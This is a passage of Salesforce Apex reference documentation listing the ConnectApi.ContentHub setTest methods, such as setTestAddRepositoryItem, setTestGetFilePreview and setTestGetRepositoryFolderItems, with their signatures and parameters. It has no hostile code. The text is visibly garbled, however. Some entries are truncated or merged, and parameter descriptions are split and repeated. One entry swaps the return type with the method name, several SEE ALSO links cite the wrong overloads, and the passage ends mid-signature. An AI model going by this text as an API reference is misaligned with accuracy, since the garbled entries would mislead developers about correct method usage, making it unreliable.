**setTestAddRepositoryItem(repositoryId, repositoryFolderId, file, result)**

Register a ConnectApi.RepositoryFolderItem object to be returned when the matching addRepositoryItem(repositoryId, repositoryFolderId, file) method is called in a test context. Use the method with the same parameters or you receive an exception.

**API Version**

40.0

**Signature**

```java
public static Void setTestAddRepositoryItem(String repositoryId, String repositoryFolderId, ConnectApi.ContentHubItemInput file, ConnectApi.RepositoryFolderItem result)
```

**Parameters**

- `repositoryId`
  - Type: `String`
  - The ID of the repository.

- `repositoryFolderId`
  - Type: `String`
  - The ID of the repository folder.

- `file`
  - Type: `ConnectApi.ContentHubItemInput`
  - The item type ID and fields of the item type.

- `result`
  - Type: `ConnectApi.RepositoryFolderItem`
  - The object containing test data.

**Return Value**

Type: Void

**SEE ALSO:**

- addRepositoryItem(repositoryId, repositoryFolderId, file)
- Testing ConnectApi Code
**setTestAddRepositoryItem(communityId, repositoryId, repositoryFolderId, file, result)**

Register a `ConnectApi.RepositoryFolderItem` object to be returned when the matching `addRepositoryItem(communityId, repositoryId, repositoryFolderId, file)` method is called in a test context. Use the method with the same parameters or you receive an exception.

**API Version**

40.0

**Signature**

```java
public static Void setTestAddRepositoryItem(String communityId, String repositoryId, String repositoryFolderId, ConnectApi.ContentHubItemInput file, ConnectApi.RepositoryFolderItem result)
```

**Parameters**

- **communityId**
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- **repositoryId**
  - Type: `String`
  - The ID of the repository.

- **repositoryFolderId**
  - Type: `String`
  - The ID of the repository folder.

- **file**
  - Type: `ConnectApi.ContentHubItemInput`
  - The item type ID and fields of the item type.

- **result**
  - Type: `ConnectApi.RepositoryFolderItem`
  - The object containing test data.

**Return Value**

Type: `Void`

**SEE ALSO:**

- `addRepositoryItem(communityId, repositoryId, repositoryFolderId, file)`
- Testing ConnectApi Code

**setTestAddRepositoryItem(repositoryId, repositoryFolderId, file, fileData, result)**

Register a `ConnectApi.RepositoryFolderItem` object to be returned when the matching `addRepositoryItem(repositoryId, repositoryFolderId, file, fileData)` method is called in a test context. Use the method with the same parameters or you receive an exception.
API Version
40.0

Signature
public static Void setTestAddRepositoryItem(String repositoryId, String repositoryFolderId, ConnectApi.ContentHubItemInput file, ConnectApi.BinaryInput fileData, ConnectApi.RepositoryFolderItem result)

Parameters
repositoryId
Type: String
The ID of the repository.
repositoryFolderId
Type: String
The ID of the repository folder.
file
Type: ConnectApi.ContentHubItemInput
The item type ID and fields of the item type.
fileData
Type: ConnectApi.BinaryInput
The binary file.
result
Type: ConnectApi.RepositoryFolderItem
The object containing test data.

Return Value
Type: Void

SEE ALSO:
addRepositoryItem(repositoryId, repositoryFolderId, file, fileData)
Testing ConnectApi Code

setTestAddRepositoryItem(communityId, repositoryId, repositoryFolderId, file, fileData, result)
Register a ConnectApi.RepositoryFolderItem object to be returned when the matching addRepositoryItem(communityId, repositoryId, repositoryFolderId, file, fileData) method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
40.0
Signature

```java
public static Void setTestAddRepositoryItem(String communityId, String repositoryId, String repositoryFolderId, ConnectApi.ContentHubItemInput file, ConnectApi.BinaryInput fileData, ConnectApi.RepositoryFolderItem result)
```

Parameters

- `communityId`
  - Type: String
  - Use the ID for an Experience Cloud site, internal, or null.

- `repositoryId`
  - Type: String
  - The ID of the repository.

- `repositoryFolderId`
  - Type: String
  - The ID of the repository folder.

- `file`
  - Type: `ConnectApi.ContentHubItemInput`
  - The item type ID and fields of the item type.

- `fileData`
  - Type: `ConnectApi.BinaryInput`
  - The binary file.

- `result`
  - Type: `ConnectApi.RepositoryFolderItem`
  - The object containing test data.

Return Value

Type: Void

SEE ALSO:

- `addRepositoryItem(communityId, repositoryId, repositoryFolderId, file, fileData)`
- Testing ConnectApi Code

`setTestGetAllowedItemTypes(repositoryId, repositoryFolderId, result)`

Register a `ConnectApi.ContentHubAllowedItemTypeCollection` object to be returned when the matching `getAllowedItemTypes(repositoryId, repositoryFolderId)` method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version

40.0
Signature

```java
public static Void setTestGetAllowedItemTypes(String repositoryId, String
repositoryFolderId, ConnectApi.ContentHubAllowedItemTypeCollection result)
```

Parameters

- `repositoryId`
  - Type: String
  - The ID of the repository.
- `repositoryFolderId`
  - Type: String
  - The ID of the repository folder.
- `result`
  - Type: `ConnectApi.ContentHubAllowedItemTypeCollection`
  - The object containing test data.

Return Value

Type: Void

SEE ALSO:
- `getAllowedItemTypes(repositoryId, repositoryFolderId)`
- Testing ConnectApi Code

**setTestGetAllowedItemTypes(repositoryId, repositoryFolderId, filter, result)**

Register a `ConnectApi.ContentHubAllowedItemTypeCollection` object to be returned when the matching `getAllowedItemTypes(repositoryId, repositoryFolderId, filter)` method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version

40.0

Signature

```java
public static Void setTestGetAllowedItemTypes(String repositoryId, String
repositoryFolderId, ConnectApi.ContentHubItemType filter,
ConnectApi.ContentHubAllowedItemTypeCollection result)
```

Parameters

- `repositoryId`
  - Type: String
  - The ID of the repository.
repositoryFolderId
Type: String
The ID of the repository folder.

filter
Type: ConnectApi.ContentHubItemType
Item types. Values are:
• Any—Includes files and folders.
• FilesOnly—Includes files only.
• FoldersOnly—Includes folders only.

result
Type: ConnectApi.ContentHubAllowedItemTypeCollection
The object containing test data.

Return Value
Type: Void

SEE ALSO:
- getAllowedItemTypes(repositoryId, repositoryFolderId, filter)
- Testing ConnectApi Code

setTestGetAllowedItemTypes(communityId, repositoryId, repositoryFolderId, result)
Register a ConnectApi.ContentHubAllowedItemTypeCollection object to be returned when the matching
getAllowedItemTypes(communityId, repositoryId, repositoryFolderId) method is called in a test
context. Use the method with the same parameters or you receive an exception.

API Version
40.0

Signature
public static Void setTestGetAllowedItemTypes(String communityId, String repositoryId, String repositoryFolderId, ConnectApi.ContentHubAllowedItemTypeCollection result)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

repositoryId
Type: String
The ID of the repository.
repositoryFolderId
   Type: String
   The ID of the repository folder.

result
   Type: ConnectApi.ContentHubAllowedItemTypeCollection
   The object containing test data.

Return Value
   Type: Void

SEE ALSO:
   get AllowedItemTypes (communityId, repositoryId, repositoryFolderId)
   Testing ConnectApi Code

setTestGetAllowedItemTypes (communityId, repositoryId, repositoryFolderId, filter, result)

Register a ConnectApi.ContentHubAllowedItemTypeCollection object to be returned when the matching
getAllowedItemTypes (communityId, repositoryId, repositoryFolderId, filter) method is called
in a test context. Use the method with the same parameters or you receive an exception.

API Version
   40.0

Signature
   public static Void setTestGetAllowedItemTypes (String communityId, String repositoryId,
   String repositoryFolderId, ConnectApi.ContentHubItemType filter,
   ConnectApi.ContentHubAllowedItemTypeCollection result)

Parameters
   communityId
      Type: String
      Use the ID for an Experience Cloud site, internal, or null.

   repositoryId
      Type: String
      The ID of the repository.

   repositoryFolderId
      Type: String
      The ID of the repository folder.

   filter
      Type: ConnectApi.ContentHubItemType
Item types. Values are:
- **Any**—Includes files and folders.
- **FilesOnly**—Includes files only.
- **FoldersOnly**—Includes folders only.

`result`
- Type: `ConnectApi.ContentHubAllowedItemTypeCollection`
- The object containing test data.

Return Value
Type: Void

SEE ALSO:
- `getAllowedItemTypes(communityId, repositoryId, repositoryFolderId, filter)`
- Testing ConnectApi Code

**setTestGetFilePreview(repositoryId, repositoryFileId, formatType, result)**

Register a `ConnectApi.FilePreview` object to be returned when the matching `getFilePreview(repositoryId, repositoryFileId, formatType)` method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
40.0

Signature
```
public static Void setTestGetFilePreview(String repositoryId, String repositoryFileId, ConnectApi.FilePreviewFormat formatType, ConnectApi.FilePreview result)
```

Parameters
- **repositoryId**
  - Type: String
  - The ID of the repository.
- **repositoryFileId**
  - Type: String
  - The ID of the repository file.
- **formatType**
  - Type: `ConnectApi.FilePreviewFormat`
  - Specifies the format of the file preview. Values are:
    - **Jpg**—Preview format is JPG.
    - **Pdf**—Preview format is PDF.
    - **Svg**—Preview format is compressed SVG.
PDF previews are available for files of type DOC, DOCX, PPT, PPTX, TEXT, XLS, and XLSX. SVG files are generated on demand.

If you’re concerned that feature-rich SVG previews don’t work in your org, choose alternative file previews. To use JPG file previews, enter general in the Quick Find box in Setup. Select General Settings, and then select Display alternative file previews.

**result**

Type: ConnectApi.FilePreview

The object containing test data.

Return Value

Type: Void

SEE ALSO:

getFilePreview(repositoryId, repositoryFileId, formatType)

Testing ConnectApi Code

**setTestGetFilePreview(repositoryId, repositoryFileId, formatType, startPageNumber, endPageNumber, result)**

Register a ConnectApi.FilePreview object to be returned when the matching getFilePreview(repositoryId, repositoryFileId, formatType, startPageNumber, endPageNumber) method is called in a test context. Use the method with the same parameters or you receive an exception.

**API Version**

40.0

**Signature**

public static Void setTestGetFilePreview(String repositoryId, String repositoryFileId, ConnectApi.FilePreviewFormat formatType, Integer startPageNumber, Integer endPageNumber, ConnectApi.FilePreview result)

**Parameters**

repositoryId

Type: String

The ID of the repository.

repositoryFileId

Type: String

The ID of the repository file.

formatType

Type: ConnectApi.FilePreviewFormat

Specifies the format of the file preview. Values are:

- **Jpg**—Preview format is JPG.
- **Pdf**—Preview format is PDF.
- **Svg**—Preview format is compressed SVG.
- **Thumbnail**—Preview format is 240 x 180 PNG.
- **ThumbnailBig**—Preview format is 720 x 480 PNG.
- **ThumbnailTiny**—Preview format is 120 x 90 PNG.

PDF previews are available for files of type DOC, DOCX, PPT, PPTX, TEXT, XLS, and XLSX. SVG files are generated on demand.

If you’re concerned that feature-rich SVG previews don’t work in your org, choose alternative file previews. To use JPG file previews, enter `general` in the Quick Find box in Setup. Select General Settings, and then select **Display alternative file previews**.

**startPageNumber**

Type: `Integer`

The starting page number in the range of file preview URLs.

**endPageNumber**

Type: `Integer`

The ending page number in the range of file preview URLs.

**result**

Type: `ConnectApi.FilePreview`

The object containing test data.

Return Value

Type: `Void`

SEE ALSO:

- `getFilePreview(repositoryId, repositoryFileId, formatType, startPageNumber, endPageNumber)`
- **Testing ConnectApi Code**

**setTestGetFilePreview**(communityId, repositoryId, repositoryFileId, formatType, result)

Register a `ConnectApi.FilePreview` object to be returned when the matching `getFilePreview(communityId, repositoryId, repositoryFileId, formatType)` method is called in a test context. Use the method with the same parameters or you receive an exception.

**API Version**

40.0

**Signature**

```java
public static Void setTestGetFilePreview(String communityId, String repositoryId, String repositoryFileId, ConnectApi.FilePreviewFormat formatType, ConnectApi.FilePreview result)
```
Parameters

- **communityId**
  - Type: String
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- **repositoryId**
  - Type: String
  - The ID of the repository.

- **repositoryFileId**
  - Type: String
  - The ID of the repository file.

- **formatType**
  - Type: `ConnectApi.FilePreviewFormat`
  - Specifies the format of the file preview. Values are:
    - Jpg—Preview format is JPG.
    - Pdf—Preview format is PDF.
    - Svg—Preview format is compressed SVG.
    - Thumbnail—Preview format is 240 x 180 PNG.
    - ThumbnailBig—Preview format is 720 x 480 PNG.
    - ThumbnailTiny—Preview format is 120 x 90 PNG.

PDF previews are available for files of type DOC, DOCX, PPT, PPTX, TEXT, XLS, and XLSX. SVG files are generated on demand.

If you’re concerned that feature-rich SVG previews don’t work in your org, choose alternative file previews. To use JPG file previews, enter `general` in the Quick Find box in Setup. Select General Settings, and then select Display alternative file previews.

- **result**
  - Type: `ConnectApi.FilePreview`
  - The object containing test data.

Return Value

- Type: Void

SEE ALSO:

- `getFilePreview(communityId, repositoryId, repositoryFileId, formatType)`
- `setTestGetFilePreview(communityId, repositoryId, repositoryFileId, formatType, startPageNumber, endPageNumber, result)`

Register a `ConnectApi.FilePreview` object to be returned when the matching `getFilePreview(communityId, repositoryId, repositoryFileId, formatType, startPageNumber, endPageNumber)` method is called in a test context. Use the method with the same parameters or you receive an exception.
API Version
40.0

Signature
public static Void setTestGetFilePreview(String communityId, String repositoryId, String repositoryFileId, ConnectApi.FilePreviewFormat formatType, Integer startPageNumber, Integer endPageNumber, ConnectApi.FilePreview result)

Parameters
communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.
repositoryId
  Type: String
  The ID of the repository.
repositoryFileId
  Type: String
  The ID of the repository file.
formatType
  Type: ConnectApi.FilePreviewFormat
  Specifies the format of the file preview. Values are:
  • Jpg—Preview format is JPG.
  • Pdf—Preview format is PDF.
  • Svg—Preview format is compressed SVG.
  • Thumbnail—Preview format is 240 x 180 PNG.
  • ThumbnailBig—Preview format is 720 x 480 PNG.
  • ThumbnailTiny—Preview format is 120 x 90 PNG.

Testing ConnectApi Code

**setTestGetItemType(repositoryId, repositoryItemTypeId, result)**

Register a `ConnectApi.ContentHubItemTypeDetail` object to be returned when the matching `getItemType(repositoryId, repositoryItemTypeId)` method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
40.0

Signature
```java
public static Void setTestGetItemType(String repositoryId, String repositoryItemTypeId, ConnectApi.ContentHubItemTypeDetail result)
```

Parameters

* `repositoryId`
  Type: `String`
  The ID of the repository.

* `repositoryItemTypeId`
  Type: `String`
  The ID of the repository item type.

* `result`
  Type: `ConnectApi.ContentHubItemTypeDetail`
  The object containing test data.

Return Value
Type: Void

SEE ALSO:
getItemType(repositoryId, repositoryItemTypeId)
Testing ConnectApi Code
**setTestGetItemType(communityId, repositoryId, repositoryItemTypeId, result)**

Register a `ConnectApi.ContentHubItemTypeDetail` object to be returned when the matching `getItemType(communityId, repositoryId, repositoryItemTypeId)` method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
40.0

Signature

```
public static Void setTestGetItemType(String communityId, String repositoryId, String repositoryItemTypeId, ConnectApi.ContentHubItemTypeDetail result)
```

Parameters

- **communityId**
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

- **repositoryId**
  Type: String
  The ID of the repository.

- **repositoryItemTypeId**
  Type: String
  The ID of the repository item type.

- **result**
  Type: `ConnectApi.ContentHubItemTypeDetail`
  The object containing test data.

Return Value
Type: Void

SEE ALSO:

- `getItemType(communityId, repositoryId, repositoryItemTypeId)`
- Testing ConnectApi Code

**setTestGetPreviews(repositoryId, repositoryFileId, result)**

Register a `ConnectApi.FilePreviewCollection` object to be returned when the matching `getPreviews(repositoryId, repositoryFileId)` method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
40.0
public static Void setTestGetPreviews(String repositoryId, String repositoryFileId, ConnectApi.FilePreviewCollection result)

Parameters

- repositoryId
  Type: String
  The ID of the repository.
- repositoryFileId
  Type: String
  The ID of the repository file.
- result
  Type: ConnectApi.FilePreviewCollection
  The object containing test data.

Return Value
Type: Void

SEE ALSO:
- getPreviews(repositoryId, repositoryFileId)
- Testing ConnectApi Code

setTestGetPreviews(communityId, repositoryId, repositoryFileId, result)

Register a ConnectApi.FilePreviewCollection object to be returned when the matching getPreviews(communityId, repositoryId, repositoryFileId) method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
40.0

Signature
public static Void setTestGetPreviews(String communityId, String repositoryId, String repositoryFileId, ConnectApi.FilePreviewCollection result)

Parameters

- communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.
- repositoryId
  Type: String
The ID of the repository.

repositoryFileId
Type: String
The ID of the repository file.

result
Type: ConnectApi.FilePreviewCollection
The object containing test data.

Return Value
Type: Void

SEE ALSO:
getPreviews(communityId, repositoryId, repositoryFileId)
Testing ConnectApi Code

setTestGetRepositories(result)
Register a ConnectApi.ContentHubRepositoryCollection object to be returned when the matching getRepositories() method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
40.0

Signature
public static Void setTestGetRepositories(ConnectApi.ContentHubRepositoryCollection result)

Parameters
result
Type: ConnectApi.ContentHubRepositoryCollection
The object containing test data.

Return Value
Type: Void

SEE ALSO:
getRepositories()
Testing ConnectApi Code
**setTestGetRepositories(communityId, result)**

Register a `getRepositories(communityId)` object to be returned when the matching `ConnectApi.ContentHubRepositoryCollection` method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
40.0

Signature
```
public static Void setTestGetRepositories(String communityId,
ConnectApi.ContentHubRepositoryCollection result)
```

Parameters
- **communityId**
  Type: `String`
  Use the ID for an Experience Cloud site, internal, or `null`.
- **result**
  Type: `ConnectApi.ContentHubRepositoryCollection`
  The object containing test data.

Return Value
Type: Void

SEE ALSO:
- `getRepositories(communityId)`
- Testing ConnectApi Code

**setTestGetRepositories(pageParam, pageSize, result)**

Register a `ConnectApi.ContentHubRepositoryCollection` object to be returned when the matching `getRepositories(pageParam, pageSize)` method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
40.0

Signature
```
public static Void setTestGetRepositories(Integer pageParam, Integer pageSize,
ConnectApi.ContentHubRepositoryCollection result)
```
Parameters

`pageParam`  
Type: `Integer`  
Specifies the number of the page you want returned. Starts at 0. If you pass in `null` or 0, the first page is returned.

`pageSize`  
Type: `Integer`  
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in `null`, the default page size is 25.

`result`  
Type: `ConnectApi.ContentHubRepositoryCollection`  
The object containing test data.

Return Value  
Type: Void

SEE ALSO:  
`getRepositories(pageParam, pageSize)`  
`Testing ConnectApi Code`

**`setTestGetRepositories(communityId, pageParam, pageSize, result)`**

Register a `ConnectApi.ContentHubRepositoryCollection` object to be returned when the matching `getRepositories(communityId, pageParam, pageSize)` method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version  
40.0

Signature  
`public static Void setTestGetRepositories(String communityId, Integer pageParam, Integer pageSize, ConnectApi.ContentHubRepositoryCollection result)`

Parameters  
`communityId`  
Type: `String`  
Use the ID for an Experience Cloud site, `internal`, or `null`.

`pageParam`  
Type: `Integer`  
Specifies the number of the page you want returned. Starts at 0. If you pass in `null` or 0, the first page is returned.

`pageSize`  
Type: `Integer`  
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in `null`, the default page size is 25.
result
Type: ConnectApi.ContentHubRepositoryCollection
The object containing test data.

Return Value
Type: Void

SEE ALSO:
getRepositories(communityId, pageParam, pageSize)
Testing ConnectApi Code

setTestGetRepository(repositoryId, result)
Register a ConnectApi.ContentHubRepository object to be returned when the matching
getRepository(repositoryId) method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
40.0

Signature
public static Void setTestGetRepository(String repositoryId,
ConnectApi.ContentHubRepository result)

Parameters
repositoryId
Type: String
The ID of the repository.
result
Type: ConnectApi.ContentHubRepository
The object containing test data.

Return Value
Type: Void

SEE ALSO:
getRepository(repositoryId)
Testing ConnectApi Code
**setTestGetRepository(communityId, repositoryId, result)**

Register a `ConnectApi.ContentHubRepository` object to be returned when the matching `getRepository(communityId, repositoryId)` method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
40.0

Signature

```java
public static Void setTestGetRepository(String communityId, String repositoryId, 
ConnectApi.ContentHubRepository result)
```

Parameters

- `communityId`
  Type: `String`
  Use the ID for an Experience Cloud site, internal, or `null`.

- `repositoryId`
  Type: `String`
  The ID of the repository.

- `result`
  Type: `ConnectApi.ContentHubRepository`
  The object containing test data.

Return Value

Type: Void

SEE ALSO:
- `getRepository(communityId, repositoryId)`
- Testing ConnectApi Code

**setTestGetRepositoryFile(repositoryId, repositoryFileId, result)**

Register a `ConnectApi.RepositoryFileDetail` object to be returned when the matching `getRepositoryFile(repositoryId, repositoryFileId)` method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
40.0
Signature

```java
public static Void setTestGetRepositoryFile(String repositoryId, String repositoryFileId,
ConnectApi.RepositoryFileDetail result)
```

Parameters

- `repositoryId`
  - Type: `String`
  - The ID of the repository.

- `repositoryFileId`
  - Type: `String`
  - The ID of the repository file.

- `result`
  - Type: `ConnectApi.RepositoryFileDetail`
  - The object containing test data.

Return Value

Type: `Void`

SEE ALSO:

- `getRepositoryFile(repositoryId, repositoryFileId)`
- `Testing ConnectApi Code`

**setTestGetRepositoryFile(repositoryId, repositoryFileId, includeExternalFilePermissionsInfo, result)**

Register a `ConnectApi.RepositoryFileDetail` object to be returned when the matching `getRepositoryFile(repositoryId, repositoryFileId, includeExternalFilePermissionsInfo)` method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version

40.0

Signature

```java
public static Void setTestGetRepositoryFile(String repositoryId, String repositoryFileId,
Boolean includeExternalFilePermissionsInfo, ConnectApi.RepositoryFileDetail result)
```

Parameters

- `repositoryId`
  - Type: `String`
  - The ID of the repository.
repositoryFileId
   Type: String
   The ID of the repository file.

includeExternalFilePermissionsInfo
   Type: Boolean
   Specifies whether to include permission information, such as whether the file is shared and what are the available permission types.
   Managing external file permissions is supported for Google Drive, SharePoint Online, and OneDrive for Business.

result
   Type: ConnectApi.RepositoryFileDetail
   The object containing test data.

Return Value
   Type: Void

SEE ALSO:
   getRepositoryFile(repositoryId, repositoryFileId, includeExternalFilePermissionsInfo)
   Testing ConnectApi Code

setTestGetRepositoryFile(communityId, repositoryId, repositoryFileId, result)

Register a ConnectApi.RepositoryFileDetail object to be returned when the matching
getRepositoryFile (communityId, repositoryId, repositoryFileId) method is called in a test context.
Use the method with the same parameters or you receive an exception.

API Version
40.0

Signature

public static Void setTestGetRepositoryFile(String communityId, String repositoryId, String repositoryFileId, ConnectApi.RepositoryFileDetail result)

Parameters

communityId
   Type: String
   Use the ID for an Experience Cloud site, internal, or null.

repositoryId
   Type: String
   The ID of the repository.

repositoryFileId
   Type: String
   The ID of the repository file.
result
    Type: ConnectApi.RepositoryFileDetail
    The object containing test data.

Return Value
Type: Void

SEE ALSO:
    getRepositoryFile(communityId, repositoryId, repositoryFileId)
    Testing ConnectApi Code

setTestGetRepositoryFile(communityId, repositoryId, repositoryFileId,
includeExternalFilePermissionsInfo, result)

Register a ConnectApi.RepositoryFileDetail object to be returned when the matching
getRepositoryFile(communityId, repositoryId, repositoryFileId,
includeExternalFilePermissionsInfo) method is called in a test context. Use the method with the same parameters
or you receive an exception.

API Version
40.0

Signature
public static Void setTestGetRepositoryFile(String communityId, String repositoryId,
String repositoryFileId, Boolean includeExternalFilePermissionsInfo,
ConnectApi.RepositoryFileDetail result)

Parameters
communityId
    Type: String
    Use the ID for an Experience Cloud site, internal, or null.

repositoryId
    Type: String
    The ID of the repository.

repositoryFileId
    Type: String
    The ID of the repository file.

includeExternalFilePermissionsInfo
    Type: Boolean
    Specifies whether to include permission information, such as whether the file is shared and what are the available permission types.
    Managing external file permissions is supported for Google Drive, SharePoint Online, and OneDrive for Business.
result
   Type: ConnectApi.RepositoryFileDetail
   The object containing test data.

Return Value
Type: Void

SEE ALSO:
   getRepositoryFile(communityId, repositoryId, repositoryFileId, includeExternalFilePermissionsInfo)
   Testing ConnectApi Code

setTestGetRepositoryFolder(repositoryId, repositoryFolderId, result)

Register a ConnectApi.RepositoryFolderDetail object to be returned when the matching
getRepositoryFolder(repositoryId, repositoryFolderId) method is called in a test context. Use the method
with the same parameters or you receive an exception.

API Version
40.0

Signature
public static Void setTestGetRepositoryFolder(String repositoryId, String
repositoryFolderId, ConnectApi.RepositoryFolderDetail result)

Parameters
repositoryId
   Type: String
   The ID of the repository.
repositoryFolderId
   Type: String
   The ID of the repository folder.
result
   Type: ConnectApi.RepositoryFolderDetail
   The object containing test data.

Return Value
Type: Void

SEE ALSO:
   getRepositoryFolder(repositoryId, repositoryFolderId)
   Testing ConnectApi Code
setTestGetRepositoryFolder(communityId, repositoryId, repositoryFolderId, result)

Register a ConnectApi.RepositoryFolderDetail object to be returned when the matching getRepositoryFolder(communityId, repositoryId, repositoryFolderId) method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
40.0

Signature
public static Void setTestGetRepositoryFolder(String communityId, String repositoryId, String repositoryFolderId, ConnectApi.RepositoryFolderDetail result)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

repositoryId
Type: String
The ID of the repository.

repositoryFolderId
Type: String
The ID of the repository folder.

result
Type: ConnectApi.RepositoryFolderDetail
The object containing test data.

Return Value
Type: Void

SEE ALSO:
getRepositoryFolder(communityId, repositoryId, repositoryFolderId)
Testing ConnectApi Code

setTestGetRepositoryFolderItems(repositoryId, repositoryFolderId, result)

Register a ConnectApi.RepositoryFolderItemsCollection object to be returned when the matching getRepositoryFolderItems(repositoryId, repositoryFolderId) method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
40.0
**Signature**

```java
public static Void setTestGetRepositoryFolderItems(String repositoryId, String repositoryFolderId, ConnectApi.RepositoryFolderItemsCollection result)
```

**Parameters**

- `repositoryId`
  - Type: `String`
  - The ID of the repository.

- `repositoryFolderId`
  - Type: `String`
  - The ID of the repository folder.

- `result`
  - Type: `ConnectApi.RepositoryFolderItemsCollection`
  - The object containing test data.

**Return Value**

Type: `Void`

**SEE ALSO:**

- `getRepositoryFolderItems(repositoryId, repositoryFolderId)`
- Testing ConnectApi Code

## `setTestGetRepositoryFolderItems(communityId, repositoryId, repositoryFolderId, result)`

Register a `ConnectApi.RepositoryFolderItemsCollection` object to be returned when the matching `getRepositoryFolderItems(communityId, repositoryId, repositoryFolderId)` method is called in a test context. Use the method with the same parameters or you receive an exception.

**API Version**

40.0

**Signature**

```java
public static Void setTestGetRepositoryFolderItems(String communityId, String repositoryId, String repositoryFolderId, ConnectApi.RepositoryFolderItemsCollection result)
```

**Parameters**

- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.
**setTestGetRepositoryFolderItems(repositoryId, repositoryFolderId, pageParam, pageSize, result)**

Register a `ConnectApi.RepositoryFolderItemsCollection` object to be returned when the matching `getRepositoryFolderItems(repositoryId, repositoryFolderId, pageParam, pageSize)` method is called in a test context. Use the method with the same parameters or you receive an exception.

**API Version**

40.0

**Signature**

```java
public static Void setTestGetRepositoryFolderItems(String repositoryId, String repositoryFolderId, Integer pageParam, Integer pageSize, ConnectApi.RepositoryFolderItemsCollection result)
```

**Parameters**

- **repositoryId**
  
  Type: `String`
  
  The ID of the repository.

- **repositoryFolderId**
  
  Type: `String`
  
  The ID of the repository folder.

- **pageParam**
  
  Type: `Integer`

- **pageSize**

- **result**
  
  Type: `ConnectApi.RepositoryFolderItemsCollection`
  
  The object containing test data.
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

**pageSize**
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default page size is 25.

**result**
Type: `ConnectApi.RepositoryFolderItemsCollection`
The object containing test data.

Return Value
Type: Void

SEE ALSO:
- `getRepositoryFolderItems(communityId, repositoryId, repositoryFolderId, pageParam, pageSize)`
- Testing ConnectApi Code

```java
public static Void setTestGetRepositoryFolderItems(String communityId, String repositoryId, String repositoryFolderId, Integer pageParam, Integer pageSize, ConnectApi.RepositoryFolderItemsCollection result)
```

Register a `ConnectApi.RepositoryFolderItemsCollection` object to be returned when the matching `getRepositoryFolderItems(communityId, repositoryId, repositoryFolderId, pageParam, pageSize)` method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
40.0

Parameters
- **communityId**
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

- **repositoryId**
  Type: String
  The ID of the repository.

- **repositoryFolderId**
  Type: String
  The ID of the repository folder.

- **pageParam**
  Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

**pageSize**
Type: Integer
 Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default page size is 25.

**result**
Type: ConnectApi.RepositoryFolderItemsCollection
The object containing test data.

**Return Value**
Type: Void

**SEE ALSO:**
getRepositoryFolderItems(communityId, repositoryId, repositoryFolderId, pageParam, pageSize)
Testing ConnectApi Code

**setTestUpdateRepositoryFile(communityId, repositoryId, repositoryFileId, file, fileData, result)**
Register a ConnectApi.RepositoryFileDetail object to be returned when the matching updateRepositoryFile(communityId, repositoryId, repositoryFileId, file, fileData) method is called in a test context. Use the method with the same parameters or you receive an exception.

**API Version**
40.0

**Signature**
public static Void setTestUpdateRepositoryFile(String communityId, String repositoryId, String repositoryFileId, ConnectApi.ContentHubItemInput file, ConnectApi.BinaryInput fileData, ConnectApi.RepositoryFileDetail result)

**Parameters**

**communityId**
Type: String
Use the ID for an Experience Cloud site, internal, or null.

**repositoryId**
Type: String
The ID of the repository.

**repositoryFileId**
Type: String
The ID of the repository file.

**file**
Type: ConnectApi.ContentHubItemInput
The item type ID and fields of the item type.

**fileData**
Type: `ConnectApi.BinaryInput`
The binary file.

**result**
Type: `ConnectApi.RepositoryFileDetail`
The object containing test data.

Return Value
Type: Void

SEE ALSO:
- `updateRepositoryFile(repositoryId, repositoryFileId, file)`
- Testing ConnectApi Code

### `setTestUpdateRepositoryFile(repositoryId, repositoryFileId, file, result)`

Register a `ConnectApi.RepositoryFileDetail` object to be returned when the matching `updateRepositoryFile(repositoryId, repositoryFileId, file)` method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
40.0

Signature
```java
public static Void setTestUpdateRepositoryFile(String repositoryId, String repositoryFileId, ConnectApi.ContentHubItemInput file, ConnectApi.RepositoryFileDetail result)
```

Parameters
- **repositoryId**
  Type: `String`
The ID of the repository.
- **repositoryFileId**
  Type: `String`
The ID of the repository file.
- **file**
  Type: `ConnectApi.ContentHubItemInput`
The item type ID and fields of the item type.
- **result**
  Type: `ConnectApi.RepositoryFileDetail`
The object containing test data.

Return Value
Type: Void

SEE ALSO:
updateRepositoryFile(repositoryId, repositoryFileId, file, fileData)

Testing ConnectApi Code

**setTestUpdateRepositoryFile(repositoryId, repositoryFileId, file, fileData, result)**

Register a ConnectApi.RepositoryFileDetail object to be returned when the matching updateRepositoryFile(repositoryId, repositoryFileId, file, fileData) method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
40.0

Signature

```java
